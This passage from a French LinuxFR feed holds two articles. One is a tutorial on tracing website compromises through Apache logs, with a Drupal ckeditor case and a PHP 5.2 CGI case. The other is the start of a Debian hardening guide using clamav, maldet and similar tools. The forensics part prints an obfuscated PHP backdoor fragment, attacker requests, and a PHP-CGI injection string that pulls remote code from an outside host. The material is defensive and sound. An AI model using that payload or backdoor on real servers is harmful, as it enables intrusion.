93.184.216.34 - - [20/Apr/2015:21:54:21 +0200] "GET /images/2014/snowden/PGP_encrypted1.png HTTP/1.1" 200 15137 "https://www.libwalk.so/2015/01/25/NSA-bullrun.html" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36" 0
93.184.216.34 - - [20/Apr/2015:21:54:21 +0200] "GET /images/2014/snowden/OTR_encrypted1.png HTTP/1.1" 200 45057 "https://www.libwalk.so/2015/01/25/NSA-bullrun.html" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36" 0
</code></pre>
<p>Dans la première partie, il arrive sur la page d'accueil du site, et il demande les feuilles de style CSS pour pouvoir afficher l'ensemble convenablement. Dans la seconde partie, on peut voir qu'il charge la page de l'article et qu'il "demande" les images d'illustrations qui vont avec.</p>
<h3 id="codes-et-méthodes">Codes et méthodes</h3>
<p>Les quelques lignes de logs que vous avez ci-dessus sont toujours sur le même modèle (même méthode HTTP, même code HTTP, …), avant de continuer, voici quelques éléments supplémentaires pour mieux comprendre la suite :</p>
<h5 id="liste-des-codes-http-avec-ceux-que-lon-retrouve-le-plus-souvent-">Liste des <a href="https://en.wikipedia.org/wiki/List_of_HTTP_status_codes">codes HTTP</a>, avec ceux que l'on retrouve le plus souvent) :</h5>
<p>Nous avons eu seulement des codes <code>200</code> dans les requêtes ci-dessus. Voici une <a href="https://en.wikipedia.org/wiki/List_of_HTTP_status_codes">vue rapide</a> de ce que l'on peut avoir :</p>
<ul>
<li>
<code>1xx</code> : message d'information, type "requête reçue, le process continue"</li>
<li>
<code>2xx</code> : message annonçant un succès
<ul>
<li>
<code>200</code> : OK </li>
</ul>
</li>
<li>
<code>3xx</code> : message annoncant une redirection
<ul>
<li>
<code>307</code> : redirection temporaire</li>
<li>
<code>308</code> : redirection permanente</li>
</ul>
</li>
<li>
<code>4xx</code> : erreur du client
<ul>
<li>
<code>401</code> : requête non autorisée</li>
<li>
<code>403</code> : requête interdite</li>
<li>
<code>404</code> : requête non trouvée</li>
</ul>
</li>
<li>
<code>5xx</code> : erreur du serveur
<ul>
<li>
<code>503</code> : service non disponible</li>
</ul>
</li>
</ul><h5 id="liste-des-méthodes-http">Liste des <a href="https://fr.wikipedia.org/wiki/Hypertext_Transfer_Protocol">méthodes HTTP</a>
</h5>
<ul>
<li>
<code>GET</code> : demande une ressource (la requête étant normalement sans effet sur celle-ci ressource)</li>
<li>
<code>POST</code> : transmet des données en vue d'un traitement. Le résultat peut être la création de nouvelles ressources (fichiers…) ou la modification de fichiers existants.</li>
<li>
<code>HEAD</code> : demande seulement des informations sur la ressource (sans demander la ressource elle-même)</li>
</ul><p>À noter qu'il existe d'autres méthodes (<a href="https://fr.wikipedia.org/wiki/Hypertext_Transfer_Protocol">DELETE, PUT, TRACE…</a>) mais qui apparaissent très, très rarement. Si vous vous êtes fait pirater, et que vous avez une idée du moment de l'attaque, commencez par regarder les requêtes <code>POST</code> ayant eu lieu à ce moment là :) </p>
<h3 id="temps-de-jouer-à-cache-cache">Temps de jouer à cache-cache</h3>
<p>Nous allons voir ici deux exemples d'attaques différentes pour vous donner des pistes à suivre.</p>
<h4 id="exemple-1--drupal">Exemple 1 : Drupal</h4>
<p>Un attaquant a réussi à injecter du code sur un Drupal.</p>
<p>En regardant les fichiers modifiés récemment du site, par exemple avec la commande <code>find</code> et son option <code>-mtime</code>(fichier dont les données ont été modifiées il y a n*24 heures). Dans cette ligne de commande, je recherche donc les fichiers php ayant été modifiés il y a moins de 2 jours.</p>
<pre><code>find . -mtime -2 -iname "*.php"
</code></pre>
<p>Après un piratage, on trouve souvent des fichiers avec des lignes en plus (souvent en <a href="https://fr.wikipedia.org/wiki/Base64">base64</a> ou avec des chaînes de caractères étranges) :</p>
<pre><code>$YLbgPfj524 = "vh46afl7tm2ik*n3pws.bu;0j)(qo_erzxy51dg9c8/";$oDJXw7301 = $YLbgPfj524[16].$YLbgPfj524[31].$YLbgPfj524[30].$YLbgPfj524[38].$YLbgPfj524[29].$YLbgPfj524[31].$YLbgPfj524[30].$YLbgPfj524[16].$YLbgPfj524[6].$YLbgPfj524[4].$YLbgPfj524[40].$YLbgPfj524[30];$Gcwa9593
</code></pre>
<p>Regardons la date exacte de modification d'un des fichiers :</p>
<pre><code>ls -l sites/all/themes/wtm7973n.php
-rw-rw---- 1 www-data www-data 1285 mars 28 06:03 ./sites/all/themes/wtm7973n.php
</code></pre>
<p>et d'un autre :</p>
<pre><code>ls -l sites/default/db.php
-rw-rw---- 1 www-data www-data 510 mars 28 06:19 ./sites/default/db.php
</code></pre>
<p>Notre première piste : le 28 mars à 06h03 (c'est l'heure la plus ancienne que je trouve dans les fichiers modifiés) ; si les logs sont particulièrement verbeux, on peut affiner directement en enlevant les requêtes <code>GET</code>, par exemple avec <code>grep -v "GET" access.log|less</code>).</p>
<h5 id="cherchons-dans-les-logs">Cherchons dans les logs</h5>
<p>On ouvre les logs avec la commande <code>less</code> (<code>less access.log</code>) puis on utilise la touche <code>/</code> pour lancer une recherche (par exemple <code>2015:06:03</code>) pour voir les requêtes au moment de l'attaque.</p>
<pre><code>68.180.228.246 - - [28/Mar/2015:06:02:02 +0100] "GET /lidentite-0 HTTP/1.1" 200 8409 "-" "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)" 1
157.55.39.120 - - [28/Mar/2015:06:02:22 +0100] "GET /printmail/5732 HTTP/1.1" 200 8176 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" 1
157.55.39.120 - - [28/Mar/2015:06:02:35 +0100] "GET /print/1832 HTTP/1.1" 200 4531 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" 0
157.55.39.120 - - [28/Mar/2015:06:02:43 +0100] "GET /print/5041 HTTP/1.1" 200 6582 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" 0
81.163.131.61 - - [28/Mar/2015:06:03:07 +0100] "POST /index.php?q=fckeditor%2Fxss HTTP/1.1" 404 29446 "-" "-" 1
81.163.131.61 - - [28/Mar/2015:06:03:09 +0100] "POST /index.php?q=ckeditor%2Fxss HTTP/1.1" 200 3 "-" "-" 0
81.163.131.61 - - [28/Mar/2015:06:03:10 +0100] "POST /index.php?q=ckeditor%2Fxss HTTP/1.1" 200 13 "-" "-" 0
81.163.131.61 - - [28/Mar/2015:06:03:11 +0100] "GET /sites/all/themes/wtm7973n.php HTTP/1.1" 200 109 "-" "-" 0
91.194.60.86 - - [28/Mar/2015:06:05:01 +0100] "GET /cron.php?cron_key=SkL5Ge7 HTTP/1.1" 200 3 "-" "Wget/1.13.4 (linux-gnu)" 10
207.46.13.9 - - [28/Mar/2015:06:05:12 +0100] "GET /print/2862 HTTP/1.1" 200 4324 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" 1
148.251.68.67 - - [28/Mar/2015:06:05:18 +0100] "GET / HTTP/1.1" 200 50604 "-" "aria2/1.18.6" 1
188.165.15.98 - - [28/Mar/2015:06:05:28 +0100] "GET /concours HTTP/1.1" 200 9948 "-" "Mozilla/5.0 (compatible; AhrefsBot/5.0; +http://ahrefs.com/robot/)" 0
157.55.39.120 - - [28/Mar/2015:06:05:51 +0100] "GET /node/6164 HTTP/1.1" 200 9574 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" 1
207.46.13.9 - - [28/Mar/2015:06:06:42 +0100] "GET /breves/www.news.fr HTTP/1.1" 200 9787 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" 1
83.169.91.4 - - [28/Mar/2015:06:06:58 +0100] "GET / HTTP/1.1" 200 50604 "-" "Mozilla/5.0 (X11; Linux i686; rv:19.0) Gecko/20100101 Firefox/19.0" 1
81.163.131.61 - - [28/Mar/2015:06:07:06 +0100] "POST /sites/all/themes/wtm7973n.php HTTP/1.1" 200 1123 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET4.0C; .NET4.0E)" 1
81.163.131.61 - - [28/Mar/2015:06:07:08 +0100] "GET /wp-conf.php?t8449n=1 HTTP/1.1" 200 29207 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET4.0C; .NET4.0E)" 0
125.209.235.176 - - [28/Mar/2015:06:07:14 +0100] "GET /robots.txt HTTP/1.1" 200 649 "-" "Mozilla/5.0 (compatible; Yeti/1.1; +http://help.naver.com/robots/)" 0
125.209.235.179 - - [28/Mar/2015:06:07:15 +0100] "GET / HTTP/1.1" 200 10929 "-" "Mozilla/5.0 (compatible; Yeti/1.1; +http://help.naver.com/robots/)" 1
</code></pre>
<p>À 6:03:07, une première tentative d'injection (POST) semble rater (code 404) : </p>
<pre><code>81.163.131.61 [28/Mar/2015:06:03:07] "POST /index.php?q=fckeditor%2Fxss 404
</code></pre>
<p>Mais les deux suivantes fonctionnent (code 200) :</p>
<pre><code>81.163.131.61 [28/Mar/2015:06:03:09] "POST /index.php?q=ckeditor%2Fxss 200
81.163.131.61 [28/Mar/2015:06:03:10] "POST /index.php?q=ckeditor%2Fxss 200
</code></pre>
<p>Puis une requête sur un fichier avec un nom étrange :</p>
<pre><code>81.163.131.61 [28/Mar/2015:06:07:06] "POST /sites/all/themes/wtm7973n.php HTTP/1.1" 200
</code></pre>
<p>Et il vient d'être créé :</p>
<pre><code>ls -l ./sites/all/themes/wtm7973n.php
-rw-rw---- 1 2003 2003 1285 mars 28 06:03 ./sites/all/themes/wtm7973n.php
</code></pre>
<p>Si on continue encore un peu dans les logs, on voit cette ligne :</p>
<pre><code>81.163.131.61 [28/Mar/2015:06:07:08] "GET /wp-conf.php?t8449n=1 HTTP/1.1" 200
</code></pre>
<p>Rien ne vous saute aux yeux ? Le fichier <a href="http://www.wpbeginner.com/glossary/wp-config-php/">wp-conf.php</a> est propre à wordpress, et n'a rien à faire sur un drupal. Il faudra prévoir de faire un peu de nettoyage par la suite.</p>
<h5 id="vu">VU !</h5>
<p>Donc, on aurait une attaque sur "ckeditor", qui aurait permis de créer d'autres fichiers. Après une petite recherche, <a href="https://www.drupal.org/project/ckeditor">ckeditor</a> est un module pour Drupal avec <a href="https://www.drupal.org/node/2357029">des failles connues</a>, <a href="https://www.drupal.org/node/1404488#comment-6616334">dont la nôtre</a>.</p>
<p>Un <a href="https://www.drupal.org/node/1482528">correctif existe</a>, il suffirait donc de restaurer une sauvegarde du site datant d'AVANT l'attaque puis de mettre le module à jour, ce qui permet d'éviter de devoir nettoyer les fichiers un par un, au risque d'en louper.</p>
<h5 id="allons-plus-loin">Allons plus loin</h5>
<p>L'attaque <em>semble</em> venir d'une faille de ce module, mais autant en être sûr. N'hésitez surtout pas à rechercher dans les logs toutes les IP ayant fait une requête sur les fichiers pirates (wp-conf.php, wtm7973n.php…), puis sur toutes les requêtes que ces adresses IP ont faites.</p>
<p>Je ne vais pas vous mettre les logs de ces recherches ici, ça prendrait trop de place, mais je note que :</p>
<ul>
<li>6 adresses IP différentes ont fait des requêtes sur le fichier <code>wp-conf.php</code> :</li>
</ul><pre><code>zcat *.gz|grep wp-conf.php|awk {'print $1'}|sort|uniq -c
1 188.162.64.65 - 492 requêtes, seulement des 404
2 205.234.200.234
2 31.184.195.247
2 81.163.131.58
9 81.163.131.61
8 81.17.16.116
</code></pre>
<ul>
<li>L'IP 81.17.16.111 a fait une requête sur un fichier update.php du module <a href="https://www.drupal.org/project/ctools">ctools</a>, faudrait peut-être voir pour le mettre à jour par la même occasion si ce n'est pas le cas ;-)</li>
</ul><pre><code>81.17.16.111 - - [28/Mar/2015:18:22:05 +0100] "POST /sites/all/modules/ctools/page_manager/plugins/update.php HTTP/1.1" 200 13203 "-" "Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20130331 Firefox/21.0" 0
</code></pre>
<h4 id="exemple-2--vulnérabilité-sur-php-52">Exemple 2 : vulnérabilité sur PHP 5.2</h4>
<p>Nous avons reçu 2 alertes dans la nuit concernant une attaque sur le site <a href="http://www.exemple.org">www.exemple.org</a>. L'attaquant a profité de l'utilisation de php5.2 pour lancer le téléchargement d'un fichier sur un serveur distant via la commande wget (sans fichiers modifiés) mais en lancant un processus "ennemi" :</p>
<pre><code>2001 3912 0.0 0.0 29700 4136 ? S 01:50 0:00 /usr/sbin/httpd
</code></pre>
<p>En fouillant dans les logs au moment de l'attaque, on tombe sur cette ligne :</p>
<pre><code>189.18.60.245 - - [20/Apr/2015:01:50:27 0200] "GET /?-d%20allow_url_include%3DOn-d%20auto_prepend_file%3Dhttp://www.krol.lt/run.txt HTTP/1.1" 200 7 "-" "Mozilla/3.0 (compatible; Indy Library)" 300
</code></pre>
<p>Et en fait, la réponse se trouve dans <code>error.log</code> :</p>
<pre><code>[01:50:27] [error] [client 189.18.60.245] --2015-04-20 01:50:27-- http://www.krol.lt/w.txt
[01:50:27] [error] [client 189.18.60.245] Resolving www.krol.lt (www.krol.lt)...
[01:50:27] [error] [client 189.18.60.245] 5.199.171.10
[01:50:27] [error] [client 189.18.60.245] Connecting to www.krol.lt (www.krol.lt)|5.199.171.10|:80...
[01:50:27] [error] [client 189.18.60.245] connected.
[01:50:27] [error] [client 189.18.60.245] HTTP request sent, awaiting response...
[01:50:27] [error] [client 189.18.60.245] 200 OK
[01:50:27] [error] [client 189.18.60.245] Length: 29582
[01:50:27] [error] [client 189.18.60.245] (29K) [text/plain]
[01:50:27] [error] [client 189.18.60.245] Saving to: `w.txt'
[01:50:27] [error] [client 189.18.60.245]
[01:50:27] [error] [client 189.18.60.245] 0K .
[01:50:27] [error] [client 189.18.60.245] ........
[01:50:27] [error] [client 189.18.60.245] . .....
[01:50:27] [error] [client 189.18.60.245] ...
[01:50:27] [error] [client 189.18.60.245] .. ......
[01:50:27] [error] [client 189.18.60.245] .. 100%
[01:50:27] [error] [client 189.18.60.245] 171K=0.2s
[01:50:27] [error] [client 189.18.60.245]
[01:50:27] [error] [client 189.18.60.245] 2015-04-20 01:50:27 (171 KB/s) - `w.txt' saved [29582/29582]
[01:50:27] [error] [client 189.18.60.245]
</code></pre>
<p>La meilleure solution serait de mettre à jour le site pour utiliser une version de php plus récente que la version dont il a besoin actuellement (php 5.2) qui possède des vulnérabilités. Hélas, la meilleure solution n'étant pas toujours possible, il va falloir patcher directement. Si on connait la cause du problème, on trouve normalement des solutions rapidement sur le net, dans notre cas : <a href="https://blog.sucuri.net/2012/05/php-cgi-vulnerability-exploited-in-the-wild.html">PHP-CGI Vulnerability Exploited in the Wild</a> qui explique le fonctionnement et la parade de cette attaque via un <code>.htaccess</code>.</p>
<p>Vous pouvez également éditer directement le(s) vhost(s)p our y ajouter les trois lignes suivantes :</p>
<pre><code>RewriteEngine on
RewriteCond %{QUERY_STRING} (%2d|-)d.*auto_prepend [NC]
RewriteRule .? - [F,L]
</code></pre>
<h3 id="en-conclusion">En conclusion</h3>
<p>Avant une attaque :</p>
<ul>
<li>mettre en place des sauvegardes (sites, base de données…) réguliers et automatiques</li>
<li>mettre en place un système pour être alerter en cas de problème (supervision sur les processus, chaînes de caractères présentes dans les fichiers…)</li>
</ul><p>Après une attaque : </p>
<ul>
<li>définir le moment de la création ou de la modification des fichiers</li>
<li>rechercher dans les logs l'origine de l'attaque</li>
<li>définir les différents attaquants (IP / origine de l'attaque)</li>
<li>définir si d'autres fichiers ont été créé/modifié </li>
</ul><p><strong>Et bien entendu, se tenir à jour ET mettre à jour régulièrement ses CMS :</strong></p>
<ul>
<li>Drupal : <a href="http://drupalfr.org/documentation/mise-a-jour">mise à jour</a> - <a href="https://www.drupal.org/security">alertes sécurité</a>
</li>
<li>Dotclear : <a href="http://fr.dotclear.org/documentation/2.0/admin/upgrade">mise à jour</a>
</li>
<li>Joomla : <a href="http://aide.joomla.fr/telechargements/joomla-3-x-package-d-installation-et-patchs/patch-de-mise-a-jour-pour-joomla-3-3">mise à jour</a>
</li>
<li>Spip : <a href="http://www.spip.net/fr_article1318.html">mise à jour</a> - <a href="http://www.spip.net/fr_article4200.html" title="Mettre en place l'écran de sécurité">écran de sécurité</a>
</li>
<li>Typo3 : <a href="http://www.typo3.fr/mises-a-jour.html">mise à jour</a> - <a href="https://typo3.org/teams/security/security-bulletins">alertes sécurité</a>
</li>
<li>Wordpress : <a href="http://codex.wordpress.org/fr:Mettre_a_Jour_WordPress">mise à jour</a> - <a href="http://codex.wordpress.org/Hardening_WordPress">renforcer wordpress</a>
</li>
</ul></div><div><a href="https://linuxfr.org/news/remonter-une-attaque-et-trouver-la-faille-avec-les-logs-d-apache2.epub">Télécharger ce contenu au format EPUB</a></div> <p>
<strong>Commentaires :</strong>
<a href="//linuxfr.org/nodes/105602/comments.atom">voir le flux Atom</a>
<a href="https://linuxfr.org/news/remonter-une-attaque-et-trouver-la-faille-avec-les-logs-d-apache2#comments">ouvrir dans le navigateur</a>
</p>
skhaenNÿcoBenoît Sibaudpalm123Nils RatusznikOntologiahttps://linuxfr.org/nodes/105602/comments.atomtag:linuxfr.org,2005:News/362002015-03-05T21:37:18+01:002015-03-05T23:28:49+01:00Un peu plus de sécurité sous LinuxLicence CC By‑SA http://creativecommons.org/licenses/by-sa/4.0/deed.fr<div><p>Un problème qui revient souvent lorsqu'on débute sous (GNU/)Linux concerne la sécurité de sa machine, que ce soit un serveur ou un ordinateur de bureau. Faut il installer un antivirus ? un firewall ? et les malwares ? les mises à jour ? Des sauvegardes ? Mais mon ordi va bien non ?</p>
<p>Certain-e-s d'entre vous ont sans aucun doute des configurations intéressantes et/ou exotiques, n'hésitez pas à les partager, tous le monde en sortira gagnant.</p>
<p>Et donc, au programme de cet article (testé sur Debian Wheezy) :</p>
<ul>
<li>Mises à jour : <code>cron-apt</code> et <code>checkrestart</code>
</li>
<li>Sécurité
<ul>
<li>virus : <code>clamav</code>, </li>
<li>malwares <code>maldet</code>,</li>
<li>rootkits <code>rkhunter</code>, <code>chkrootkit</code>, <code>lynis</code>
</li>
<li>vérification de l'intégrité des paquets : <code>debsums</code>
</li>
</ul>
</li>
<li>nettoyage : <code>deborphan</code>, …</li>
<li>backups</li>
</ul></div><ul><li>lien nᵒ 1 : <a title="https://www.libwalk.so/2015/02/15/more-security.html" hreflang="fr" href="https://linuxfr.org/redirect/93308">Article original</a></li></ul><div><h2 class="sommaire">Sommaire</h2>
<ul class="toc">
<li><ul>
<li>
<a href="#mises-%C3%A0-jour--cron-apt">mises à jour : </a><a href="https://packages.debian.org/fr/wheezy/cron-apt">cron-apt</a><ul>
<li><ul>
<li><a href="#mises-%C3%A0-jour-automatiques">mises à jour automatiques</a></li>
</ul></li>
</ul>
</li>
<li>
<a href="#checkrestart-debian-goodies">checkrestart (</a><a href="https://packages.debian.org/fr/wheezy/debian-goodies">debian-goodies</a>)</li>
<li>
<a href="#clamav-antivirus-et-maldet-antimalwares"></a><a href="https://packages.debian.org/fr/wheezy/clamav">clamav</a> (antivirus) et <a href="https://www.rfxn.com/projects/linux-malware-detect/">maldet</a> (antimalwares)<ul>
<li>
<a href="#clamav"></a><a href="https://packages.debian.org/fr/wheezy/clamav">clamav</a>
</li>
<li>
<a href="#linux-malware-detector-maldet"></a><a href="https://www.rfxn.com/projects/linux-malware-detect/">Linux Malware detector</a> (maldet)<ul>
<li><a href="#ajouter-la-base-de-signatures-de-maldet-%C3%A0-clamav-">ajouter la base de signatures de MalDet à Clamav :</a></li>
</ul>
</li>
</ul>
</li>
<li>
<a href="#rkhunter"></a><a href="https://packages.debian.org/fr/wheezy/rkhunter">rkhunter</a>
</li>
<li>
<a href="#chkrootkit"></a><a href="https://packages.debian.org/fr/wheezy/chkrootkit">chkrootkit</a>
</li>
<li>
<a href="#lynis"></a><a href="https://packages.debian.org/wheezy/lynis">lynis</a>
</li>
<li>
<a href="#debsums"></a><a href="https://packages.debian.org/fr/wheezy/debsums">debsums</a>
</li>
<li>
<a href="#nettoyer">Nettoyer</a><ul>
<li>
<a href="#deborphan"></a><a href="https://packages.debian.org/fr/wheezy/deborphan">deborphan</a>
</li>
</ul>
</li>
<li><a href="#des-sauvegardes">Des sauvegardes !</a></li>
<li><a href="#pour-aller-un-peu-plus-loin">Pour aller un peu plus loin</a></li>
</ul></li>
</ul><p>IMPORTANT : </p>
<ul>
<li>la plupart des commandes ci-dessous nécessitent d'être root ou d'utiliser la commande <code>sudo</code>
</li>
<li>tous ces logiciels ont normalement <a href="https://www.debian-fr.org/consulter-les-logs-quoi-ou-que-rechercher-t27590.html">des logs</a> dans <code>/var/log</code>, et c'est <em>très</em> utile pour trouver <a href="https://www.debian-fr.org/consulter-les-logs-quoi-ou-que-rechercher-t27590.html">pourquoi ça ne marche pas</a>
</li>
<li>il faut avoir un logiciel de courriel configuré (comme <code>postfix</code>) pour pouvoir envoyer des courriels</li>
<li>n'oubliez pas de <em>relancer</em> le programme après une modification pour la prise en compte</li>
</ul><h3 id="mises-à-jour--cron-apt">mises à jour : <a href="https://packages.debian.org/fr/wheezy/cron-apt">cron-apt</a>
</h3>
<p><a href="https://packages.debian.org/fr/wheezy/cron-apt">cron-apt</a> permet d'alerter quand une ou plusieurs mises à jour sont disponibles pour le serveur mais aussi de les faire automatiquement en envoyant ou non un courriel pour prévenir (à noter que <a href="https://packages.debian.org/wheezy/apticron">apticron</a> permet aussi d'alerter en cas de mises à jour disponibles).</p>
<p>Pour commencer, le plus important : avoir des sources de mises à jour propres. Pour bien comprendre comment fonctionnent les <a href="https://wiki.debian.org/fr/SourcesList">sources.list</a>, vous pouvez vous référer à la <a href="https://wiki.debian.org/fr/SourcesList">documentation de Debian</a>, vous pouvez aussi vous aider du "<a href="http://debgen.simplylinux.ch/">Debian Sources List Generator</a>" pour générer votre fichier.</p>
<p>En cas de mises à jour automatiques, il est VITAL d'avoir des sources "propres", il faut éviter au maximum des conflits éventuels entre des paquets ou une configuration trop exotique. Mieux vaut réfléchir avant de mettre en place un système de mise à jour auto sur un système en production, en particulier si il y a une supervision avec une astreinte (et encore plus si c'est vous d'astreinte).</p>
<ul>
<li>installer <code>cron-apt</code> :</li>
</ul><pre><code>aptitude install cron-apt
</code></pre>
<ul>
<li>éditer le fichier de configuration <code>/etc/cron-apt/conf</code> :
<ul>
<li>
<code>APTCOMMAND</code> définit le gestionnaire de paquets que vous voulez utilisez (<code>apt-get</code> ou <code>aptitude</code>)</li>
<li>
<code>MAILTO</code> l'adresse à laquelle le système va envoyer les courriels de notifications.</li>
</ul>
</li>
</ul><pre><code>APTCOMMAND=/usr/bin/aptitude
MAILTO="mail@exemple.org"
</code></pre>
<p>Par défaut, <code>cron-apt</code> est lancé chaque jour à 4 heure du matin. Libre à vous de <a href="https://www.debian-administration.org/article/56/Command_scheduling_with_cron">modifier ce comportement</a> dans le fichier <code>/etc/cron.d/cron-apt</code>.</p>
<h5 id="mises-à-jour-automatiques">mises à jour automatiques</h5>
<p>Pour installer automatiquement les mises à jour disponibles, il est nécessaire de créer un fichier nommé <code>5-install</code> dans le répertoire <code>/etc/cron-apt/action.d/</code> puis d'y ajouter la ligne suivante :</p>
<pre><code>dist-upgrade -y -o APT::Get::Show-Upgraded=true
</code></pre>
<p>Pour limiter le process aux mises à jour de sécurité, il faut créer un fichier nommé <code>/etc/apt/security.list</code> pour y mettre ceci :</p>
<pre><code>deb http://security.debian.org/ wheezy/updates main contrib non-free
deb-src http://security.debian.org/ wheezy/updates main contrib non-free
</code></pre>
<p>Il suffit alors de décommenter dans le fichier <code>/etc/cron-apt/config</code> la ligne suivante :</p>
<pre><code>OPTIONS="-o quiet=1 -o Dir::Etc::SourceList=/etc/apt/security.list"
</code></pre>
<p>Dorénavant <code>cron-apt</code> utilisera uniquement le fichier <code>security.list</code> pour vérifier la présence de mises à jour, et ignorera donc les mises à jour autres que celles de sécurité.</p>
<h3 id="checkrestart-debian-goodies">checkrestart (<a href="https://packages.debian.org/fr/wheezy/debian-goodies">debian-goodies</a>)</h3>
<p>Le paquet <a href="https://packages.debian.org/fr/wheezy/debian-goodies">debian-goodies</a> installe sur votre machine quelques scripts dont <code>checkrestart</code>, qui permet de trouver des processus utilisant de vieilles versions de bibliothèques logicielles. Ce genre de vérification est particulièrement critique après un patch sécurité important, comme pour libc6 en janvier 2015 (<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-0235">CVE-2015-0235</a>). </p>
<p>Pour installer le paquet <code>debian-goodies</code> (la commande <code>checkrestart</code> suffit pour le lancer par la suite) :</p>
<pre><code>aptitude install debian-goodies
</code></pre>
<p>Le script est donc particulièrement utile, mais comme on peut souvent le voir, il ne sait pas reconnaitre et/ou relancer certains processus, on peut donc ajouter des fonctionnalités supplémentaires, c'est ce qu'a fait <a href="https://www.octopuce.fr/checkrestart-outil-pratique-de-debian-goodies-et-version-octopuce/">Octopuce</a> via un script qui utilise <code>checkrestart</code> en y ajoutant des fonctionnalités. </p>
<p>Ce script est disponible sur <a href="https://github.com/octopuce/octopuce-goodies/tree/master/checkrestart">github</a> et l'on peut trouver un <a href="https://www.octopuce.fr/checkrestart-outil-pratique-de-debian-goodies-et-version-octopuce/">article introductif</a> sur le site d'Octopuce.</p>
<p>Pour le mettre en place :</p>
<pre><code>cd /usr/local/bin/
wget https://www.octopuce.fr/octopuce-goodies/checkrestart/checkrestart.octopuce
chmod +x checkrestart.octopuce
</code></pre>
<p>On peut alors lancer le script de n'importe où sur le système (n'hésitez pas à <a href="https://github.com/octopuce/octopuce-goodies/issues">remonter des bugs</a> ou à <a href="https://github.com/octopuce/octopuce-goodies/tree/master/checkrestart">modifier le code</a>) :</p>
<pre><code>checkrestart.octopuce
</code></pre>
<h3 id="clamav-antivirus-et-maldet-antimalwares">
<a href="https://packages.debian.org/fr/wheezy/clamav">clamav</a> (antivirus) et <a href="https://www.rfxn.com/projects/linux-malware-detect/">maldet</a> (antimalwares)</h3>
<p>L'antivirus libre <a href="https://packages.debian.org/fr/wheezy/clamav">clamav</a> est connu dans le monde du logiciel libre, et au delà, et son efficacité peut être améliorée en y ajoutant la base de signatures du <a href="https://www.rfxn.com/projects/linux-malware-detect/">Linux Malware Detector</a>.</p>
<h4 id="clamav"><a href="https://packages.debian.org/fr/wheezy/clamav">clamav</a></h4>
<p>Pour l'installer : </p>
<pre><code>aptitude install clamav clamav-freshclam
</code></pre>
<ul>
<li>mettre à jour <code>clamav</code> :</li>
</ul><p>éditer le fichier de configuration <code>/etc/clamav/freshclam.conf</code> selon votre choix (vous pouvez d'ailleurs voir <a href="http://linux.die.net/man/5/freshclam.conf">une description rapide des options sur ce site</a>) :</p>
<pre><code>DatabaseOwner clamav
UpdateLogFile /var/log/clamav/freshclam.log
LogVerbose false
LogSyslog false
LogFacility LOG_LOCAL6
LogFileMaxSize 0
LogTime true
Foreground false
Debug false
MaxAttempts 5
DatabaseDirectory /var/lib/clamav
DNSDatabaseInfo current.cvd.clamav.net
AllowSupplementaryGroups false
PidFile /var/run/clamav/freshclam.pid
ConnectTimeout 30
ReceiveTimeout 30
TestDatabases yes
ScriptedUpdates yes
CompressLocalDatabase no
Bytecode true
# Check for new database 12 times a day
Checks 12
DatabaseMirror database.clamav.net
</code></pre>
<p>Vous pouvez ensuite lancer la mise à jour avec la commande <code>freshclam</code>.</p>
<ul>
<li>lancer une analyse</li>
</ul><p>Vous pouvez créer un second fichier de configuration pour <code>clamav</code> sous le nom de <code>/etc/clamav/clamd.conf</code>. Ce fichier sert à donner une configuration par défaut pour les analyses. Vous trouverez ci-dessous un EXEMPLE de configuration, vous pouvez le modifier selon vos désirs :</p>
<pre><code>LogVerbose false
PidFile /var/run/clamav/clamd.pid
DatabaseDirectory /var/lib/clamav
#OfficialDatabaseOnly true
SelfCheck 3600
Foreground false
Debug false
ScanPE true
MaxEmbeddedPE 10M
ScanOLE2 true
ScanPDF true
ScanHTML true
MaxHTMLNormalize 10M
MaxHTMLNoTags 2M
MaxScriptNormalize 5M
MaxZipTypeRcg 1M
ScanSWF true
DetectBrokenExecutables false
ExitOnOOM false
LeaveTemporaryFiles false
AlgorithmicDetection true
ScanELF true
IdleTimeout 30
CrossFilesystems true
PhishingSignatures true
PhishingScanURLs true
PhishingAlwaysBlockSSLMismatch false
PhishingAlwaysBlockCloak false
PartitionIntersection false
DetectPUA false
ScanPartialMessages false
HeuristicScanPrecedence false
StructuredDataDetection false
CommandReadTimeout 5
SendBufTimeout 200
MaxQueue 100
ExtendedDetectionInfo true
OLE2BlockMacros false
ScanOnAccess false
AllowAllMatchScan true
ForceToDisk false
DisableCertCheck false
DisableCache false
MaxScanSize 100M
MaxFileSize 25M
MaxRecursion 10
MaxFiles 10000
MaxPartitions 50
MaxIconsPE 100
StatsEnabled false
StatsPEDisabled true
StatsHostID auto
StatsTimeout 10
StreamMaxLength 25M
LogFile /var/log/clamav/clamav.log
LogTime true
LogFileUnlock false
LogFileMaxSize 0
Bytecode true
BytecodeSecurity TrustSigned
BytecodeTimeout 60000
</code></pre>
<h4 id="linux-malware-detector-maldet">
<a href="https://www.rfxn.com/projects/linux-malware-detect/">Linux Malware detector</a> (maldet)</h4>
<p>Installer maldet : </p>
<pre><code class="bash">wget http://www.rfxn.com/downloads/maldetect-current.tar.gz
tar xfz maldetect-current.tar.gz
<span class="nb">cd </span>maldetect-*
./install.sh</code></pre>
<p>Pour mettre la base de signatures à jour :</p>
<pre><code>maldet -u
</code></pre>
<p>Pour affiner vos réglages, avoir des informations par courriel, configurer la mise en quarantaine, le fichier de configuration se trouve dans <code>/usr/local/maldetect/conf.maldet</code></p>
